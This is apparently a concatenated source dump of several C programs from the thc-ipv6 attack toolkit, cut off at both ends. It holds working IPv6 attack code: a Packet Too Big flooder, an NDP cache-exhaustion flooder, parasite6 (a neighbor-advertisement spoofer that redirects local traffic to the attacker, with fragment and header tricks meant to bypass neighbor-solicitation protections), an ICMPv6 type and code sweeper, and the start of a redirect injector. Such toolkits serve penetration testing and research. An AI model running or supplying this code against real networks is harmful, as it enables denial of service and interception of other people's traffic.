case 'U': type = ICMP6_UNREACH; break; case 'r': randsrc = 8; break; case 'R': randsrc = 1; break; case 's': src = thc_resolve6(optarg); break; default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } if (argc - optind < 2) help(argv[0]); interface = argv[optind]; if ((ptr = index(argv[optind + 1], '/')) != NULL) *ptr = 0; if ((dst = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: Can not resolve %s\n", argv[optind + 1]); exit(-1); } if ((srcmac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (src == NULL) if ((src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL)) == NULL || (src[0] == 0xfe && src[1] == 0x80)) { fprintf(stderr, "Error: no global IPv6 address configured on interface %s\n", interface); exit(-1); } if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) { fprintf(stderr, "Error: can not find a route to target %s\n", argv[2]); exit(-1); } if (maxsize == -1) maxsize = thc_get_mtu(interface) - 48 - alert; if (maxsize > sizeof(offender)) maxsize = sizeof(offender); for (i = 0; i < ((sizeof(offender) - 48) / 4); i++) memcpy(offender + 48 + i * 4, (char *)&filler + _TAKE4, 4); memcpy(offender + 8, dst, 16); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (alert) { memset(buf2, 0, sizeof(buf2)); buf2[0] = 5; buf2[1] = 2; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, 6) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, type, 0, 1280, offender, maxsize, 0) < 0) return -1; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; if (do_hdr_size) offset = do_hdr_size; printf( "Starting to flood target network with toobig %s (Press Control-C to " "end, a dot is printed for every 1000 packets):\n", interface); while (1) { for (i = 4; i < 8; i++) ip6[i] = rand() % 256; memcpy(hdr->pkt + offset + 32 + 4, ip6 + 4, 4); memcpy(hdr->pkt + offset + 40 + 8 + 8 + 8 + 4 + alert, ip6 + 4, 4); if (randsrc) { for (i = randsrc; i < 16; i++) hdr->pkt[offset + 8 + i] = rand() % 256; } if (do_crc) { hdr->pkt[offset + 42 + alert] = 0; hdr->pkt[offset + 43 + alert] = 0; mychecksum = checksum_pseudo_header( hdr->pkt + offset + 8, hdr->pkt + offset + 24, NXT_ICMP6, hdr->pkt + offset + 40 + alert, pkt_len - offset - 40 - alert); hdr->pkt[offset + 42 + alert] = mychecksum / 256; hdr->pkt[offset + 43 + alert] = mychecksum % 256; } while (thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); count++; if (count % 1000 == 0) printf("."); } return 0; } thc-ipv6-3.8/ndpexhaust6.c000066400000000000000000000073311376121567700154640ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s by mario fleischmann \n\n", prg); printf("Syntax: %s interface destination-network [sourceip]\n\n", prg); printf("Randomly pings IPs in target network\n\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface; int prefer = PREFER_GLOBAL; unsigned char *srcmac; unsigned char *dst6, *src6; unsigned char *ptr; // char dstmac[6] = ""; unsigned char *dstmac = NULL, *tmpmac, *dstnet; int pkt_len = 16; int count = 0; int i; int size, numbytes, samenet = 0; unsigned char *pkt = NULL; unsigned char buf[] = "NDP Exhaustion"; // hardcoded mac /*dstmac[0] = 0x00; dstmac[1] = 0x05; dstmac[2] = 0x73; dstmac[3] = 0xa0; dstmac[4] = 0x00; dstmac[5] = 0x01; */ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); printf( "!\n! Please note: ndpexhaust6 is deprecated, please use " "ndpexhaust26!\n!\n\n"); if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); interface = argv[1]; if ((srcmac = thc_get_own_mac(interface)) == NULL) { printf("Error: invalid interface defined: %s\n", interface); exit(-1); } dstnet = argv[2]; // hier stehts dstnet drin if (dstnet == NULL || (ptr = index(dstnet, '/')) == NULL) { printf( "Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. " "ff80::01/16\n"); exit(-1); } *ptr++ = 0; size = atoi(ptr); // prefix lenght // printf("Prefix length is %d\n", size); if (size != 64) fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your " "are doing: %d\n", size); numbytes = (128 - size) / 8; // number of bytes to create // printf("Creating %d random adress bytes\n", numbytes); srand(time(NULL) + getpid()); // initalize random number generator dst6 = thc_resolve6(dstnet); // thc_dump_data(dst6, 16, "dst"); if (argc >= 4) src6 = thc_resolve6(argv[3]); else src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); // thc_dump_data(src6, 16, "src"); dstmac = thc_get_mac(interface, src6, dst6); printf("Starting to randomly ping addresses in network %s/%d on %s:\n", dstnet, size, interface); while (1) { ++count; for (i = 0; i < numbytes; i++) { dst6[16 - numbytes + i] = rand() % 256; // direct destination manipulation } if (count == 1) { tmpmac = thc_get_mac(interface, src6, dst6); if (tmpmac != NULL && dstmac != NULL && memcmp(dstmac, tmpmac, 6) == 0) samenet = 1; } else { if (samenet == 0) { free(dstmac); dstmac = thc_get_mac(interface, src6, dst6); } } // printf("%s\n", ip6adr); // printf("Sending ICMP ECHO to %s\n", ip6adr); if ((pkt = thc_create_ipv6_extended(interface, prefer, &pkt_len, src6, dst6, 64, 0, 0, 0, 0)) == NULL) errx(EXIT_FAILURE, "THC: Could not create IPv6 packet\n"); if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, buf, sizeof(buf), 0) == -1) errx(EXIT_FAILURE, "THC: Could not add ICMP6 packet contents\n"); // thc_add_udp(pkt, &pkt_len, 53, 53, 0, buf, sizeof(buf)); if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) printf("!"); thc_destroy_packet(pkt); usleep(1); if (count % 1000 == 0) printf("."); } } thc-ipv6-3.8/node_query6.c000066400000000000000000000121031376121567700154440ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" char *frbuf, *frbuf2, *frint, buf3[1504]; int frbuflen, frbuf2len, do_hop = 0, do_frag = 0, do_dst = 0, type = NXT_ICMP6, seen = 0, ret = -1; unsigned char *frip6, *frmac, *frdst; thc_ipv6_hdr * frhdr = NULL; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface target\n\n", prg); printf( "Sends an ICMPv6 node query request to the target and dumps the " "replies.\n\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } void dump_node_reply(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *)(data + 14), *ptr; int i, len = header->caplen - 14; if (do_hdr_size) { len = header->caplen - do_hdr_size; ipv6hdr = (unsigned char *)(data + do_hdr_size); if ((ipv6hdr[0] & 240) != 0x60) return; } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_INFOREPLY || len < 40 + 16) return; ret = 0; printf("Reply from %s:\n", thc_ipv62notation(ipv6hdr + 8)); switch (ipv6hdr[45]) { case 2: printf(" DNS result: "); if (len <= 60) { printf("empty\n"); } else { ptr = ipv6hdr + 61; while (*ptr != 0) { if (*ptr > 0 && *ptr < 32) *ptr = '.'; ptr++; } printf("%s\n", ipv6hdr + 61); } seen++; break; case 3: printf(" IPv6 result: "); if (len <= 76) { printf("empty\n"); } else { printf("\n"); i = 60; while (i + 16 <= len) { printf(" %s\n", thc_ipv62notation((char *)(ipv6hdr + i))); i += 20; } } seen++; break; case 4: printf(" IPv4 result: "); if (len == 56) { printf("empty\n"); } else { printf("\n"); i = 60; while (i + 4 <= len) { printf(" %d.%d.%d.%d\n", ipv6hdr[i], ipv6hdr[i + 1], ipv6hdr[i + 2], ipv6hdr[i + 3]); i += 8; } } seen++; break; default: printf(" Unknown type (%d) we did not send!\n", ipv6hdr[45]); } printf("\n"); } void clean_exit(int sig) { if (seen == 0) printf("No reply received.\n"); exit(ret); } int main(int argc, char *argv[]) { char * interface, mac[6] = "", string[] = "ip6 and icmp6"; unsigned char *mac6 = mac; unsigned char buf[512]; unsigned char *dst; int i, cnt; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; pcap_t * p; if (argc != 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "r")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } interface = argv[optind]; mac6 = thc_get_own_mac(interface); if ((dst = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: could not resolve %s\n", argv[2]); return -1; } memset(buf, 0, sizeof(buf)); memcpy(buf + 8, dst, 16); i = 24; cnt += getpid(); memcpy(buf + 4, (char *)&cnt + _TAKE4, 4); cnt++; if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_INFOREQUEST, 0, 0x00020000, buf, i, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) return -1; usleep(1000); memcpy(buf + 4, (char *)&cnt + _TAKE4, 4); cnt++; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_INFOREQUEST, 0, 0x0003003e, buf, i, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) return -1; usleep(1000); memcpy(buf + 4, (char *)&cnt + _TAKE4, 4); cnt++; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, NULL, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_INFOREQUEST, 0, 0x00040002, buf, i, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) return -1; signal(SIGALRM, clean_exit); alarm(5); while (seen != 3) { while (thc_pcap_check(p, (char *)dump_node_reply, NULL) > 0) ; usleep(100); } clean_exit(0); return 0; // not reached } thc-ipv6-3.8/parasite6.c000066400000000000000000000254441376121567700151160ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" unsigned char *pkt = NULL, *pkt2 = NULL; int pkt_len = 0, pkt2_len = 0; thc_ipv6_hdr * ipv6, *ipv62; int mychecksum, do_loop = 0, pp[65536], pp_cnt = 0, do_hop = 0, do_frag = 0, do_dst = 0, do_reverse = 0, cnt, ptype = NXT_ICMP6; char * interface; char * ptr1, *ptr2, *ptr3, *ptr4; thc_ipv6_hdr *hdr; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-lRFHD] interface [fake-mac]\n\n", prg); printf( "This is an \"ARP spoofer\" for IPv6, redirecting all local traffic to " "your own\n"); printf( "system (or nirvana if fake-mac does not exist) by answering falsely " "to\n"); printf("Neighbor Solitication requests\n"); printf( "Option -l loops and resends the packets per target every 5 seconds.\n"); printf( "Option -R will also try to inject the destination of the " "solicitation\n"); printf( "NS security bypass: -F fragment, -H hop-by-hop and -D large destination " "header\n"); exit(-1); } void kill_children(int signo) { int i; for (i = 0; i <= pp_cnt; i++) if (pp[i] > 0 && pp[i] < 65536) kill(pp[i], SIGKILL); exit(0); } void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *)(data + 14); if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *)data, header->caplen, "Received Packet"); } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78) return; if (*(data + 22) + *(data + 23) + *(data + 24) + *(data + 25) + *(data + 34) + *(data + 35) + *(data + 36) + *(data + 37) == 0) return; if (debug) printf("DEBUG: packet is a valid icmp6 neighbor solitication\n"); memcpy(ipv6->pkt, data + 6, 6); // copy srcmac to dstmac memcpy(ipv6->pkt + 38, data + 22, 16); // copy srcip6 to dstip6 memcpy(ipv6->pkt + 22, data + 62, 16); // copy target to srcip6 memcpy(ipv6->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 62, 16); // copy target to target ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header( ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt, &pkt_len); ptr2 = thc_ipv62notation(ipv6->pkt + 38); ptr4 = thc_ipv62notation(ipv6->pkt + 22); printf("Spoofed packet to %s as %s\n", ptr2, ptr4); free(ptr2); free(ptr4); ipv6->pkt[pkt_len - 28] = 0xa0; // reset SOL flag, ROUTER+OVERRIDE only ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header( ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv6->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv6->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) { memcpy(ipv62->pkt, data + 74, 4); // create the multicast mac for the dst // so we dont need to do a NS :-) memcpy(ipv62->pkt + 38, data + 62, 16); // copy target do dst6 memcpy(ipv62->pkt + 22, data + 22, 16); // copy source to source memcpy(ipv62->pkt + 62 + (do_dst * 1400) + (do_hop + do_frag) * 8, data + 22, 16); // copy source to target ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = 0; mychecksum = checksum_pseudo_header( ipv62->pkt + 22, ipv62->pkt + 38, NXT_ICMP6, ipv62->pkt + 54 + (do_dst * 1400) + (do_hop + do_frag) * 8, 32); ipv62->pkt[56 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum / 256; ipv62->pkt[57 + (do_dst * 1400) + (do_hop + do_frag) * 8] = mychecksum % 256; if (do_dst) thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); else thc_send_pkt(interface, pkt2, &pkt2_len); ptr2 = thc_ipv62notation(ipv62->pkt + 38); ptr4 = thc_ipv62notation(ipv62->pkt + 22); printf("Spoofed packet to %s as %s\n", ptr2, ptr4); free(ptr2); free(ptr4); } if ((pp[pp_cnt] = fork()) == 0) { usleep(200); debug = 0; if (do_dst) { thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) thc_send_pkt(interface, pkt2, &pkt2_len); } sleep(1); if (do_loop == 1) { signal(SIGTERM, exit); signal(SIGSEGV, exit); signal(SIGHUP, exit); signal(SIGINT, exit); while (1) { sleep(5); if (do_dst) { thc_send_as_fragment6(interface, ipv6->pkt + 22, ipv6->pkt + 38, ptype, ipv6->pkt + 40 + 14, ipv6->pkt_len - 40 - 14, 1240); thc_send_as_fragment6(interface, ipv62->pkt + 22, ipv62->pkt + 38, ptype, ipv62->pkt + 40 + 14, ipv62->pkt_len - 40 - 14, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); if (do_reverse) thc_send_pkt(interface, pkt2, &pkt2_len); } } } exit(0); } else if (do_loop == 1 && pp[pp_cnt] != -1) { if (pp_cnt < 65534) pp_cnt++; else do_loop = 2; } ipv6->pkt[56] = 0; ipv6->pkt[57] = 0; ipv6->pkt[pkt_len - 28] = 0xe0; // set SOL flag again (void)wait3(NULL, WNOHANG, NULL); return; } int main(int argc, char *argv[]) { char dummy[24], mac[16] = "", buf2[6], buf3[1398]; unsigned char *ownmac = mac; int i, j; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); if (debug) printf("Preparing spoofed packet for speed-up\n"); while ((i = getopt(argc, argv, "FHDRl")) >= 0) { switch (i) { case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; case 'R': do_reverse = 1; break; case 'l': do_loop = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1) help(argv[0]); interface = argv[optind]; if (argc - optind == 2 && argv[optind + 1] != NULL) sscanf(argv[optind + 1], "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], (unsigned int *)&mac[1], (unsigned int *)&mac[2], (unsigned int *)&mac[3], (unsigned int *)&mac[4], (unsigned int *)&mac[5]); else ownmac = thc_get_own_mac(interface); if (thc_get_own_ipv6(interface, NULL, PREFER_LINK) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } memset(dummy, 'X', sizeof(dummy)); dummy[16] = 2; dummy[17] = 1; memcpy(&dummy[18], ownmac, 6); memset(buf2, 0, sizeof(buf2)); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); for (i = 0; i <= 0 + do_reverse; i++) { // printf("i: %d\n", i); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, dummy, dummy, 255, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { ptype = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (ptype == NXT_ICMP6) ptype = NXT_FRAG; for (j = 0; j < do_frag; j++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1; } if (do_dst) { if (ptype == NXT_ICMP6) ptype = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_SOLICIT | ICMP6_NEIGHBORADV_OVERRIDE | ICMP6_NEIGHBORADV_ROUTER, dummy, 24, 0) < 0) return -1; if (thc_generate_pkt(interface, ownmac, dummy, pkt, &pkt_len) < 0) return -1; ipv6 = (thc_ipv6_hdr *)pkt; memset(ipv6->pkt + 56 + (do_dst * 1400) + (do_hop + do_frag) * 8, 0, 2); // reset checksum to zero if (debug) { thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet"); printf("\n"); } // printf("i: %d, do_reverse: %d\n", i, do_reverse); if (i == 0 && do_reverse) { // printf("ipv62->ipv6 %p\n", ipv6); ipv62 = ipv6; ipv62->pkt[0] = 0x33; // multicast mac hack for destination ipv62->pkt[1] = 0x33; // multicast mac hack for destination ipv6 = NULL; pkt2 = pkt; pkt = NULL; pkt2_len = pkt_len; pkt_len = 0; ipv62->pkt[pkt2_len - 28] = 0xa0; // reset SOL flag, ROUTER+OVERRIDE only } } signal(SIGTERM, kill_children); signal(SIGSEGV, kill_children); signal(SIGHUP, kill_children); signal(SIGINT, kill_children); memset((char *)pp, 0, sizeof(pp)); printf("Remember to enable routing, you will denial service otherwise:\n"); printf(" => echo 1 > /proc/sys/net/ipv6/conf/all/forwarding\n"); printf("Remember to prevent sending out ICMPv6 Redirect packets:\n"); printf(" => ip6tables -I OUTPUT -p icmpv6 --icmpv6-type redirect -j DROP\n"); printf( "Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to " "end) ...\n"); return thc_pcap_function(interface, "icmp6", (char *)intercept, 1, NULL); } thc-ipv6-3.8/passive_discovery6.c000066400000000000000000000132351376121567700170420ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #define MAX_ENTRIES 65536 int maxhop = 255, dcnt = 0, do_dst = 0, noverb = 0; unsigned char d[MAX_ENTRIES + 1][16], hostpart[8]; char * interface, *script = NULL, exec[256], *replace = NULL, *ll; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-Ds] [-m maxhop] [-R prefix] interface [script]\n\n", prg); printf("Options:\n"); printf( " -D do also dump destination addresses (does not work with " "-m)\n"); printf(" -s do only print the addresses, no other output\n"); printf( " -m maxhop the maximum number of hops a target which is dumped may be " "away.\n"); printf( " 0 means local only, the maximum amount to make sense is " "usually 5\n"); printf( " -R prefix exchange the defined prefix with the link local prefix\n"); printf( "\nPassivly sniffs the network and dump all client's IPv6 addresses " "detected.\n"); printf( "Note that in a switched environment you get better results when " "additionally\nstarting parasite6, however this will impact the " "network.\n"); printf( "If a script name is specified after the interface, it is called with " "the\ndetected ipv6 address as first and the interface as second " "option.\n"); exit(-1); } void detect(u_char *foo, const struct pcap_pkthdr *header, unsigned char *data) { char *ptr = data, *ptr2; int i, j, k, offset = 8, doit, len = header->caplen; if (do_hdr_size) { len -= do_hdr_size; ptr += do_hdr_size; thc_dump_data(ptr, 8, "packet"); if ((ptr[0] & 240) != 0x60) return; } else { len -= 14; ptr += 14; } // drop ff00::/8 and ::/128 for (k = 0; k <= do_dst; k++) { doit = 0; if ((unsigned char)ptr[offset] != 0xff && (maxhop > 254 || (unsigned char)ptr[7] >= 255 - maxhop || ((unsigned char)ptr[7] >= 128 - maxhop && (unsigned char)ptr[7] <= 128) || ((unsigned char)ptr[7] >= 64 - maxhop && (unsigned char)ptr[7] <= 64))) doit = 1; if (memcmp(ptr + 8, d[dcnt + 1], 16) == 0) { if (k == 0 && (unsigned char)ptr[7] == 255 && (unsigned char)ptr[6] == NXT_ICMP6 && (unsigned char)ptr[40] == ICMP6_NEIGHBORSOL && len >= 64) { doit = 1; // DAD packet offset = 48; } else doit = 0; } // is it our own address? if (memcmp(ptr + offset + 8, hostpart, 8) == 0) doit = 0; if (doit) { // replace prefix with link-local if -R if (replace != NULL) if (memcmp(ptr + offset, replace, 8) == 0) memcpy(ptr + offset, ll, 8); // check for doubles j = 0; if (dcnt > 0) for (i = 0; i < dcnt && j == 0; i++) if (memcmp(ptr + offset, d[i], 16) == 0) j = 1; if (j == 0) { // no double ptr2 = thc_ipv62notation((char *)(ptr + offset)); printf("%s%s\n", noverb == 0 ? "Detected: " : "", ptr2); if (dcnt < MAX_ENTRIES) { // add to double list memcpy(d[dcnt], ptr + offset, 16); dcnt++; } else if (dcnt == MAX_ENTRIES) { // table full? should not happen, // smells like attack dcnt++; fprintf(stderr, "Warning: Table for detected IPv6 addresses is full, doubles " "can occur now!\n"); } if (script != NULL && fork() == 0) { // beware, this can DOS you (void)wait3(NULL, WNOHANG, NULL); snprintf(exec, sizeof(exec), "%s %s %s\n", script, ptr2, interface); if (system(exec) < 0) fprintf(stderr, "Error: Executing failed - %s\n", exec); exit(0); } free(ptr2); } } offset += 16; } } int main(int argc, char *argv[]) { int i; char *glob; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); while ((i = getopt(argc, argv, "Dsm:R:")) >= 0) { switch (i) { case 'm': maxhop = atoi(optarg); break; case 'D': do_dst = 1; break; case 's': noverb = 1; break; case 'R': if ((ll = index(optarg, '/')) != NULL) *ll = 0; replace = thc_resolve6(optarg); break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1 || argc - optind > 2) help(argv[0]); interface = argv[optind]; if (argc == optind + 2) script = argv[optind + 1]; memset(d, 0, sizeof(d)); _thc_ipv6_showerrors = 0; // we dont want our own address in the discovered addresses glob = thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL); ll = thc_get_own_ipv6(interface, NULL, PREFER_LINK); if (!ll) { fprintf(stderr, "No IPv6 found on interface %s\n", interface); exit(-1); } memcpy(hostpart, ll + 8, 8); if (memcmp(ll + 8, glob + 8, 8) != 0) { // do we have a global address with a different host part? memcpy(d[0], glob, 16); dcnt = 1; } if (do_dst < 255 && do_dst) fprintf(stderr, "Warning: it does not make sense to use the -m and -D options " "together!\n"); if (noverb == 0) printf( "Started IPv6 passive system detection (Press Control-C to end) ...\n"); return thc_pcap_function(interface, "ip6", (char *)detect, 1, NULL); return 0; // never reached } thc-ipv6-3.8/randicmp6.c000066400000000000000000000077121376121567700151010ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void check_packet(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *)(data + 14); int len = header->caplen - 14; if (do_hdr_size) { ipv6hdr = (unsigned char *)(data + do_hdr_size); len -= (do_hdr_size - 14); if ((ipv6hdr[0] & 240) != 0x60 || ipv6hdr[6] != NXT_ICMP6 || len < 48) return; } else if (len < 48) return; printf("Received type %d code %d\n", ipv6hdr[40], ipv6hdr[41]); } int main(int argc, char *argv[]) { unsigned char *dst61, *src61 = NULL; unsigned char buf[8]; int pkt_len = 600; char * interface, string[64]; unsigned char *pkt = NULL; unsigned char *srcmac, *dstmac; // can define as null to auto generate int type, code, flags = 0, tf = 0, tt = 255, cf = 0, ct = 255, print = 1; pcap_t *p; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (argc < 3) { printf( "Syntax: %s [-p] [-s sourceip] interface destination [type [code]]\n\n", argv[0]); printf("Sends all ICMPv6 type and code combinations to destination.\n"); printf("Option -s sets the source IPv6 address.\n"); printf("Option -p will not print answers received.\n"); exit(0); } if (strncmp(argv[1], "-p", 2) == 0) { print = 0; argv++; argc--; } if (strncmp(argv[1], "-s", 2) == 0) { src61 = thc_resolve6(argv[2]); argv++; argv++; argc--; argc--; } if (strncmp(argv[1], "-p", 2) == 0) { print = 0; argv++; argc--; } interface = argv[1]; // source and destination IPv6 addresses dst61 = thc_resolve6(argv[2]); if (src61 == NULL) src61 = thc_get_own_ipv6(interface, dst61, PREFER_GLOBAL); if (argc >= 4) tf = tt = atoi(argv[3]); if (argc >= 5) cf = ct = atoi(argv[4]); memset(buf, 0, sizeof(buf)); printf("Sending ICMPv6 Packets to %s%%%s\n", argv[2], argv[1]); srcmac = thc_get_own_mac(interface); dstmac = thc_get_mac(interface, src61, dst61); if (srcmac == NULL) { fprintf(stderr, "Error: illegal interface: %s\n", interface); exit(-1); } if (dstmac == NULL) { fprintf(stderr, "Error: can not resolve target: %s\n", argv[2]); exit(-1); } if (dst61[0] == 0xff) { sprintf(string, "icmp6 and dst %s", thc_ipv62notation(src61)); } else { sprintf(string, "icmp6 and src %s", thc_ipv62notation(dst61)); } if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } for (type = tf; type <= tt; type++) { printf("Sending ICMPv6 type %d ...\n", type); for (code = cf; code <= ct; code++) { // build the packet if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src61, dst61, 255, 0, 0, 0, 0)) == NULL) printf("Packet Creation Failed\n"); // add icmp part if (thc_add_icmp6(pkt, &pkt_len, type, code, flags, buf, sizeof(buf), 0) < 0) return -1; // generate packet if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) { printf("generate failed\n"); return -1; } // send the packet out if (thc_send_pkt(interface, pkt, &pkt_len) < 0) printf("packet not sent \n"); thc_destroy_packet(pkt); // destroy the packet pkt = NULL; pkt_len = 0; if (print) { usleep(5000); while (thc_pcap_check(p, (char *)check_packet, NULL) > 0) ; } } } if (print) { sleep(1); while (thc_pcap_check(p, (char *)check_packet, NULL) > 0) ; } printf("Done!\n"); return 0; } thc-ipv6-3.8/redir6.c000066400000000000000000000067421376121567700144130ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s interface victim-ip target-ip original-router new-router " "[new-router-mac] [hop-limit]\n\n", prg); printf( "Implant a 